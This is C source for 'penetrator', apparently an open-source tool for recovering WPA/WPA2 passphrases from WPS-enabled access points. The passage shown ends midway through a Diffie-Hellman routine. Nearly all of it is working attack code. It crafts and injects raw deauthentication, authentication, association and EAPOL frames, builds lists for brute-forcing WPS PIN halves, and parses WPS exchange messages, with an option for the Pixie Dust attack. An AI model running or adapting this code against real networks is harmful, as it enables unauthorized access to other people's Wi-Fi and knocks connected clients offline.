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penetrator.c
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penetrator.c
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/*
penetrator - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2015 David Cernak <d.cernak@pobox.sk>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <pcap.h>
#include <time.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/stat.h>
#include <semaphore.h>
#include <sys/ioctl.h>
#include <openssl/dh.h>
#include <openssl/aes.h>
#include <openssl/sha.h>
#include <openssl/hmac.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
int VERBOSE;
unsigned TIMEOUT;
int MAXRESEND;
int PIXIEDUST;
int FUCKNACK;
int FUCKSESSIONS;
unsigned long long int MIDDELAY;
int AKTCHANNEL;
char *homedir;
unsigned long long int FAILSLEEP;
int autoatak;
int killgui;
sem_t passes_sem;
typedef struct passes{
char pin[9];
char pass[256];
char ssid[256];
int passlen;
struct passes *next;
}pASSES;
pASSES *passlist;
unsigned char dh_g[1] = { 0x02 };
unsigned char dh_p[192] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x23, 0x73, 0x27,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
// Fast Hotfix for compatibility with new OpenSSL
void *sha256_hmac(char *key, int klen, char *data, int datalen) {
unsigned char *ret = malloc(32);
unsigned int l = 32;
HMAC_CTX *ctx = HMAC_CTX_new();
if (!ctx) {
free(ret);
return NULL;
}
HMAC_Init_ex(ctx, key, klen, EVP_sha256(), NULL);
HMAC_Update(ctx, (unsigned char*)data, datalen);
HMAC_Final(ctx, ret, &l);
HMAC_CTX_free(ctx);
return ret;
}
void *kdf(void *kdk,char *label,int size){
int slen=strlen(label);
void *hashme=malloc(8+slen);
memcpy(hashme+4,label,slen);
*(int*)(hashme+4+slen)=__builtin_bswap32(size);
int i,iter=(size+255)/256;
void *ret=malloc(iter*256);
void *cur=ret;
for(i=1;i<=iter;i++){
*(int*)(hashme)=__builtin_bswap32(i);
char *tmp=sha256_hmac(kdk,32,hashme,8+slen);
memcpy(cur,tmp,32);
free(tmp);
cur+=32;
}
free(hashme);
return ret;
}
int ComputeChecksum(unsigned long int PIN){//From official wps spec
unsigned long int accum = 0;
PIN *= 10;
accum += 3 * ((PIN / 10000000) % 10);
accum += 1 * ((PIN / 1000000) % 10);
accum += 3 * ((PIN / 100000) % 10);
accum += 1 * ((PIN / 10000) % 10);
accum += 3 * ((PIN / 1000) % 10);
accum += 1 * ((PIN / 100) % 10);
accum += 3 * ((PIN / 10) % 10);
int digit = (accum % 10);
return (10 - digit) % 10;
}
//CRC32 is ripped from stackoverflow pls: http://stackoverflow.com/questions/11523844/802-11-fcs-crc32 - thanks
const u_int32_t crctable[] = {
0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L, 0x706af48fL, 0xe963a535L, 0x9e6495a3L,
0x0edb8832L, 0x79dcb8a4L, 0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L, 0x90bf1d91L,
0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL, 0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L,
0x136c9856L, 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L, 0xfa0f3d63L, 0x8d080df5L,
0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L, 0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,
0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L, 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L,
0x26d930acL, 0x51de003aL, 0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L, 0xb8bda50fL,
0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L, 0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL,
0x76dc4190L, 0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL, 0x9fbfe4a5L, 0xe8b8d433L,
0x7807c9a2L, 0x0f00f934L, 0x9609a88eL, 0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,
0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL, 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L,
0x65b0d9c6L, 0x12b7e950L, 0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L, 0xfbd44c65L,
0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L, 0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL,
0x4369e96aL, 0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L, 0xaa0a4c5fL, 0xdd0d7cc9L,
0x5005713cL, 0x270241aaL, 0xbe0b1010L, 0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,
0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L, 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL,
0xedb88320L, 0x9abfb3b6L, 0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L, 0x73dc1683L,
0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L, 0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L,
0xf00f9344L, 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL, 0x196c3671L, 0x6e6b06e7L,
0xfed41b76L, 0x89d32be0L, 0x10da7a5aL, 0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,
0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L, 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL,
0xd80d2bdaL, 0xaf0a1b4cL, 0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL, 0x4669be79L,
0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L, 0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL,
0xc5ba3bbeL, 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L, 0x2cd99e8bL, 0x5bdeae1dL,
0x9b64c2b0L, 0xec63f226L, 0x756aa39cL, 0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,
0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL, 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L,
0x86d3d2d4L, 0xf1d4e242L, 0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L, 0x18b74777L,
0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL, 0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L,
0xa00ae278L, 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L, 0x4969474dL, 0x3e6e77dbL,
0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L, 0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,
0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L, 0xcdd70693L, 0x54de5729L, 0x23d967bfL,
0xb3667a2eL, 0xc4614ab8L, 0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL, 0x2d02ef8dL
};
u_int32_t crc32(u_int32_t bytes_sz, const u_int8_t *bytes)
{
u_int32_t crc = ~0;
u_int32_t i;
for(i = 0; i < bytes_sz; ++i) {
crc = crctable[(crc ^ bytes[i]) & 0xff] ^ (crc >> 8);
}
return ~crc;
}
unsigned long long int ffmac;
typedef struct scanlist{
int id;
char pwr;
int channel;
char *ssid;
int wps;
int lock;
unsigned long long int bssid;
struct scanlist *next;
}SCANLIST;
int threads;
typedef struct pinlist{
int psk;
struct pinlist *next;
}PINLIST;
typedef struct pins{
int mode; //0-PSK1 1-PSK2
int psk1; //use this if mode 1
int psk2; //use this if mode 0
PINLIST *unused1,*used1;
PINLIST *unused2,*used2;
sem_t mutex;
}PINS;
void key_init(PINS *keys){
sem_init(&(keys->mutex),0,1);
keys->psk1=0;
keys->psk2=0;
keys->mode=0;
keys->unused1=NULL;
keys->unused2=NULL;
keys->used1=NULL;
keys->used2=NULL;
}
void key_mode(PINS *keys,int psk){
sem_wait(&(keys->mutex));
keys->psk1=psk;
keys->mode=1;
sem_post(&(keys->mutex));
}
void key_gen(PINS *keys){
int i;
PINLIST *last=NULL;
for(i=0;i<10000;i++){
if(!last){
keys->unused1=malloc(sizeof(PINLIST));
keys->unused1->psk=i;
keys->unused1->next=NULL;
last=keys->unused1;
}else{
PINLIST *add=malloc(sizeof(PINLIST));
add->psk=i;
add->next=NULL;
last->next=add;
last=add;
}
}
last=NULL;
for(i=0;i<1000;i++){
if(!last){
keys->unused2=malloc(sizeof(PINLIST));
keys->unused2->psk=i;
keys->unused2->next=NULL;
last=keys->unused2;
}else{
PINLIST *add=malloc(sizeof(PINLIST));
add->psk=i;
add->next=NULL;
last->next=add;
last=add;
}
}
}
void key_load(char *fn,PINS *keys){
if(FUCKSESSIONS){key_gen(keys);return;}
FILE *f=fopen(fn,"r");
if(!f){/*printf("[PENETRATOR] Unable to open file\n");*/return;}
sem_wait(&(keys->mutex));
PINLIST *last1=NULL,*last2=NULL;
while(1){
int psk,part;
if(fscanf(f,"%d:%d\n",&part,&psk)<2)break;
PINLIST *add=malloc(sizeof(PINLIST));
add->next=NULL;
add->psk=psk;
if(part==1){
if(last1)last1->next=add;
else keys->unused1=add;
last1=add;
}else if(part==2){
if(last2)last2->next=add;
else keys->unused2=add;
last2=add;
}else {keys->psk1=psk;keys->mode=1;}
}
sem_post(&(keys->mutex));
fclose(f);
}
void key_save(char *fn,PINS *keys){
FILE *f=fopen(fn,"w");
if(!f){printf("[PENETRATOR] Unable to open file\n");return;}
sem_wait(&(keys->mutex));
PINLIST *akt;
if(keys->mode)fprintf(f,"3:%d\n",keys->psk1);
akt=keys->used1;
while(akt){
fprintf(f,"1:%d\n",akt->psk);
akt=akt->next;
}
akt=keys->unused1;
while(akt){
fprintf(f,"1:%d\n",akt->psk);
akt=akt->next;
}
akt=keys->used2;
while(akt){
fprintf(f,"2:%d\n",akt->psk);
akt=akt->next;
}
akt=keys->unused2;
while(akt){
fprintf(f,"2:%d\n",akt->psk);
akt=akt->next;
}
sem_post(&(keys->mutex));
fclose(f);
}
void key_remove(PINS *keys,int psk,int mode){
sem_wait(&(keys->mutex));
if(!mode){
PINLIST *akt=keys->used1;
PINLIST *last=NULL;
while(akt){
if(akt->psk==psk){
if(last)last->next=akt->next;
else keys->used1=akt->next;
break;
}
last=akt;
akt=akt->next;
}
free(akt);
sem_post(&(keys->mutex));
return;
}
PINLIST *akt=keys->used2;
PINLIST *last=NULL;
while(akt){
if(akt->psk==psk){
if(last)last->next=akt->next;
else keys->used2=akt->next;
break;
}
last=akt;
akt=akt->next;
}
free(akt);
sem_post(&(keys->mutex));
return;
}
int key_get(PINS *keys,int *out){
sem_wait(&(keys->mutex));
if(!keys->mode){
if(!keys->unused1&&!keys->used1)return 3;
if(!keys->unused1)return 2;
PINLIST *my=keys->unused1;
keys->unused1=my->next;
my->next=keys->used1;
keys->used1=my;
*out=my->psk;
sem_post(&(keys->mutex));
return 0;
}
if(!keys->unused2&&!keys->used2)return 3;
if(!keys->unused2)return 2;
PINLIST *my=keys->unused2;
keys->unused2=my->next;
my->next=keys->used2;
keys->used2=my;
*out=my->psk;
sem_post(&(keys->mutex));
return 1;
}
void key_return(PINS *keys,int psk,int mode){
sem_wait(&(keys->mutex));
if(!mode){
PINLIST *akt=keys->used1;
PINLIST *last=NULL;
while(akt){
if(akt->psk==psk){
if(last)last->next=akt->next;
else keys->used1=akt->next;
break;
}
last=akt;
akt=akt->next;
}
akt->next=keys->unused1;
keys->unused1=akt;
sem_post(&(keys->mutex));
return;
}
PINLIST *akt=keys->used2;
PINLIST *last=NULL;
while(akt){
if(akt->psk==psk){
if(last)last->next=akt->next;
else keys->used2=akt->next;
break;
}
last=akt;
akt=akt->next;
}
akt->next=keys->unused2;
keys->unused2=akt;
sem_post(&(keys->mutex));
return;
}
typedef struct attack_info{
int ded;
int thread_id;//thread id - used when removing thread from memory
char iv[16];//iv for aes
int lastpsk;//last part of pin retrieved by key_get
int lastmode;
PINS *pins;//retrieve pins from here
char pin[9];
unsigned long long int src_mac;
unsigned long long int tgt_mac;
char *ssid;
int wps;
int wpslock;
unsigned char *packet;//fresh packet
int len;//packet len
int radiotap_len;//len of radiotap header
int sn;//sequence number
struct attack_info *next;//linked list
sem_t mutex;//thread waits here for packets
sem_t ready;//signals here when reading finished
unsigned long long int lastsend;//last packet transmission
unsigned char eap_id;//eap id from last received msg
char secret[2048];
char rh1[32],rh2[32];
char pke[2048];
char pkr[2048];
char ehash1[2048];
char ehash2[2048];
char enonce[2048];
char rnonce[2048];
int printedshit;
char derived[2048];//derived key (kdf) - authkey+keywrapkey+some other shit
int pixiewin;
char rs1[2048];
char rs2[2048];
char ruuid[2048];
void *m1,*m3,*m5;//last messages for authenticator
int m1l,m3l,m5l;//tehir len
char sent[6];
char got[7];
int gotm5;
void *resendmsg;
int resendlen;
int resended;
int wins;
int inarow;
unsigned long long int waittil,lastsuc;
int active;
char foundpass[256];
char foundpin[9];
int pixiefail;
unsigned long long int timelimit;
}ATTACK_INFO;
int hex2raw(char *hex,void *out){int i;for(i=0;hex[i];i+=3){sscanf((char*)hex+i,"%02hhx",(unsigned char*)out+(i/3));if(hex[i+2]==0)break;}return (i+3)/3;}
int hexlen(char *hex){int i,len=0;for(i=0;hex[i];i++)if(hex[i]==' ')len++;return len+1;}
void printhex(void *hex,int len){int i;for(i=0;i<len;i++){if(i)putchar(':');printf("%02hhx",((unsigned char*)hex)[i]);}putchar('\n');}
void raw2hex(void *hex,char *out,int len){*out=0;int i;for(i=0;i<len;i++){if(i)strcat(out,":");char cat[32];sprintf(cat,"%02hhx",((unsigned char*)hex)[i]);strcat(out,cat);}}
unsigned long long int get_data(unsigned char *mac,int len,int reverse){
unsigned long long int data=0;
int i;
if(reverse)for(i=0;i<len;i++)((char*)&data)[len-i-1]=mac[i];
else for(i=0;i<len;i++)((char*)&data)[i]=mac[i];
return data;
}
unsigned long long int hex2int(char *hex,int reverse){
char out[8];
int l=hex2raw(hex,out);
unsigned long long int ret=get_data((unsigned char*)out,l,reverse);
return ret;
}
u_int64_t gettick() { //this is somewhere from stackoveflow too, thanks
struct timespec ts;
unsigned theTick = 0U;
clock_gettime( CLOCK_REALTIME, &ts );
theTick = ts.tv_nsec / 1000000;
theTick += ts.tv_sec * 1000;
return theTick;
}
void parsebeacon(unsigned char *pkt,int len,char **ssid,int *wps,int *wpslock,int *channel){
*wps=0;
*wpslock=0;
while(1){
if(len<2)return;
int tagnumber=pkt[0];
int taglen=pkt[1];
if(tagnumber==0&&ssid&&!(*ssid)){
if(taglen==0){(*ssid)=calloc(1,5);strcpy(*ssid,"NULL");}
else{
(*ssid)=calloc(1,taglen+1);
memcpy(*ssid,pkt+2,taglen);
}
}else if(tagnumber==3&&channel)*channel=pkt[2];
else if(tagnumber==221&&wps){
unsigned char *tmp=pkt+6;
int tmplen=taglen-4;
int oui=get_data(pkt+2,4,0);
if(oui==0x04F25000)while(1){
if(tmplen<4)break;
int type=get_data(tmp,2,1);
int wlen=get_data(tmp+2,2,1);
if(type==4170)*wps=tmp[4];
if(type==4183&&wpslock)*wpslock=tmp[4];
tmp+=4+wlen;
tmplen-=(4+wlen);
}
}
pkt+=(taglen+2);
len-=(taglen+2);
}
}
ATTACK_INFO *attack_list;
sem_t mutex;
int found;
void scanshit(const unsigned char *packet, struct pcap_pkthdr head,SCANLIST **list){
unsigned char *gotpkt=(unsigned char*)packet;
int len=head.len;
if(len<4)return;
int flags=gotpkt[4]&2;
int fcs=0;
if(flags){
if(len<16)return;
fcs=gotpkt[16]&16;
}
unsigned radiotap_len=gotpkt[2]+(gotpkt[3]<<8);
if(fcs){
int fcs=get_data(gotpkt+(len-4),4,0);
int hash=crc32(len-(radiotap_len+4),gotpkt+radiotap_len);
if(fcs!=hash){if(VERBOSE>0)printf("[PENETRATOR] Received packet with wrong FCS\n");return;}
}
unsigned char *pkt=gotpkt+radiotap_len;
len-=radiotap_len;
if(len<15)return;
unsigned long long int src=get_data(pkt+10,6,0);
if(pkt[0]==128){
pkt+=36;
len-=36;
char *ssid=NULL;
int wps,wpsl,chnl;
parsebeacon(pkt,len,&ssid,&wps,&wpsl,&chnl);
if(!wps&&ssid){free(ssid);return;}
SCANLIST *akt=*list;
int exists=0;
while(akt){
if(akt->bssid==src){exists=1;break;}
akt=akt->next;
}
if(!exists){
SCANLIST *add=malloc(sizeof(SCANLIST));
add->bssid=src;
add->ssid=ssid;
add->channel=chnl;
add->wps=wps;
add->lock=wpsl;
add->pwr=packet[22];
add->next=*list;
add->id=found++;
*list=add;
char *mac=(char*)&src;
char lok[4];
if(wpsl)strcpy(lok,"yes");
else strcpy(lok,"no");
printf("%02d %hhd %02hhX:%02hhX:%02hhX:%02hhX:%02hhX:%02hhX\t%d\t%d.%d\t%s\t%s\n",add->id,add->pwr,mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],chnl,wps>>4,wps&15,lok,ssid);
}
}
}
void parsepacket(const unsigned char *packet, struct pcap_pkthdr head){
unsigned char *gotpkt=(unsigned char*)packet;
int len=head.len;
if(len<4)return;
int flags=gotpkt[4]&2;
int fcs=0;
if(flags){
if(len<16)return;
fcs=gotpkt[16]&16;
}
unsigned radiotap_len=gotpkt[2]+(gotpkt[3]<<8);
if(fcs){
int fcs=get_data(gotpkt+(len-4),4,0);
int hash=crc32(len-(radiotap_len+4),gotpkt+radiotap_len);
if(fcs!=hash){if(VERBOSE>0)printf("[PENETRATOR] Received packet with wrong FCS\n");return;}
}
unsigned char *pkt=gotpkt+radiotap_len;
len-=radiotap_len;
if(len<15)return;
unsigned long long int dest=get_data(pkt+4,6,1);
unsigned long long int src=get_data(pkt+10,6,1);
sem_wait(&mutex);
ATTACK_INFO *attack=attack_list;
while(attack){
if(attack->active&&attack->tgt_mac==src&&(attack->src_mac==dest||dest==ffmac)){
attack->packet=malloc(head.len);
attack->len=head.len;
attack->radiotap_len=radiotap_len;
memcpy(attack->packet,gotpkt,attack->len);
sem_post(&(attack->mutex));
sem_wait(&(attack->ready));
}
attack=attack->next;
}
sem_post(&mutex);
}
pcap_t *fp;
sem_t sendmutex;
void int2hex(unsigned long long int macint,char *out){
unsigned char *mac=(unsigned char*)&macint;
sprintf(out,"%02hhX %02hhX %02hhX %02hhX %02hhX %02hhX",mac[5],mac[4],mac[3],mac[2],mac[1],mac[0]);
}
void sn2hex(int sn,char *out){
unsigned short snint=sn<<4;
sprintf(out,"%02hhX %02hhX",((unsigned char*)&snint)[0],((unsigned char*)&snint)[1]);
}
int deauth(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 c0 00 34 00 %s %s %s %s 03 00",tgt,src,tgt,sn);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending deauth\n");
return 0;
}
int auth(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 b0 00 34 00 %s %s %s %s 00 00 01 00 00 00",tgt,src,tgt,sn);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending auth request\n");
return 0;
}
int parse_auth_response(ATTACK_INFO *attack){
unsigned char *pkt=attack->packet+attack->radiotap_len;
int len=attack->len-attack->radiotap_len;
if(len<29||pkt[0]!=176)return 1;
int seq=get_data(pkt+26,2,0);
int cod=get_data(pkt+28,2,0);
if(seq==2&&cod==0)return 0;
return 1;
}
int assoc(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
char ssid[512];
memset(ssid,0,512);
int slen=strlen(attack->ssid);
if(slen>255){printf("[PENETRATOR] SSID is fucked up hard m8\n");return 1;}
raw2hex(attack->ssid,ssid,slen);
unsigned char ssid_len=slen;
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 00 00 3a 01 %s %s %s %s 31 04 64 00 00 %02hhX %s \
01 08 82 84 8b 96 0c 12 18 24 32 04 30 48 60 6c dd 0e 00 50 f2 04 10 4a 00 01 10 10 3a 00 01 02",tgt,src,tgt,sn,ssid_len,ssid);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending association request\n");
return 0;
}
int parse_assoc_response(ATTACK_INFO *attack){
unsigned char *pkt=attack->packet+attack->radiotap_len;
int len=attack->len-attack->radiotap_len;
if(len<29||pkt[0]!=16)return 1;
int suc=get_data(pkt+26,2,0);
if(!suc)return 0;
return 1;
}
int eapol_start(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 08 01 3a 01 %s %s %s %s aa aa 03 00 00 00 88 8e 01 01 00 00",tgt,src,tgt,sn);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending EAPOL start\n");
return 0;
}
int parse_identity_rq(ATTACK_INFO *attack){
unsigned char *pkt=attack->packet+attack->radiotap_len;
int len=attack->len-attack->radiotap_len;
if(len<40||pkt[0]!=8)return 1;
int llcorg=get_data(pkt+27,3,0);
int llctyp=get_data(pkt+30,2,0);
if(llcorg!=0||llctyp!=36488||pkt[33]||pkt[36]!=1||pkt[40]!=1)return 1;
attack->eap_id=pkt[37];
return 0;
}
int eap_terminate(ATTACK_INFO *attack,unsigned char eap_id){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 08 01 34 00 %s %s %s %s \
aa aa 03 00 00 00 88 8e 01 00 00 05 04 %02hhX 00 05 04",tgt,src,tgt,sn,eap_id);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending EAP terminate\n");
return 0;
}
int identity_response(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 08 01 3a 01 %s %s %s %s aa aa 03 00 00 00 88 8e \
01 00 00 23 02 %02hhx 00 23 01 57 46 41 2d 53 69 6d 70 6c 65 43 6f 6e 66 69 67 2d \
52 65 67 69 73 74 72 61 72 2d 31 2d 30",tgt,src,tgt,sn,attack->eap_id);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending identity response\n");
return 0;
}
int parse_m1(ATTACK_INFO *attack){
unsigned char *pkt=attack->packet+attack->radiotap_len;
int len=attack->len-attack->radiotap_len;
if(len<40||pkt[0]!=8)return 1;
int llcorg=get_data(pkt+27,3,0);
int llctyp=get_data(pkt+30,2,0);
if(llcorg!=0||llctyp!=36488||pkt[33]||pkt[36]!=1||pkt[40]!=254)return 1;
int msglen=get_data(pkt+38,2,1)-14;
unsigned char *akt=pkt+50;
char enonce[2048];
char pkey[2048];
while(1){
if(msglen<4)break;
int typ=get_data(akt,2,1);
int len=get_data(akt+2,2,1);
if(typ==4130&&akt[4]!=4)return 1;//MSG TYPE
else if(typ==4122)raw2hex(akt+4,enonce,len);//E-NONCE
else if(typ==4146)raw2hex(akt+4,pkey,len);//PKEY
akt+=(4+len);
msglen-=(4+len);
}
if(attack->m1)free(attack->m1);
msglen=get_data(pkt+38,2,1)-14;
attack->m1=malloc(msglen);
memcpy(attack->m1,pkt+50,msglen);
attack->m1l=msglen;
attack->eap_id=pkt[37];
strcpy(attack->pke,pkey);
strcpy(attack->enonce,enonce);
return 0;
}
// Fast Hotfix for compatibility with new OpenSSL
void dh_get(ATTACK_INFO *attack, void *mysecret, void *mypublic) {
DH *dh = DH_new();
BIGNUM *p = NULL, *g = NULL;
if (!(p = BN_bin2bn(dh_p, 192, NULL)) || !(g = BN_bin2bn(dh_g, 1, NULL)) || !DH_set0_pqg(dh, p, NULL, g)) {
DH_free(dh);
BN_free(p);
BN_free(g);
return;
}
DH_generate_key(dh);
const BIGNUM *priv_key, *pub_key;
DH_get0_key(dh, &pub_key, &priv_key);
BN_bn2bin(priv_key, (unsigned char*)mysecret);
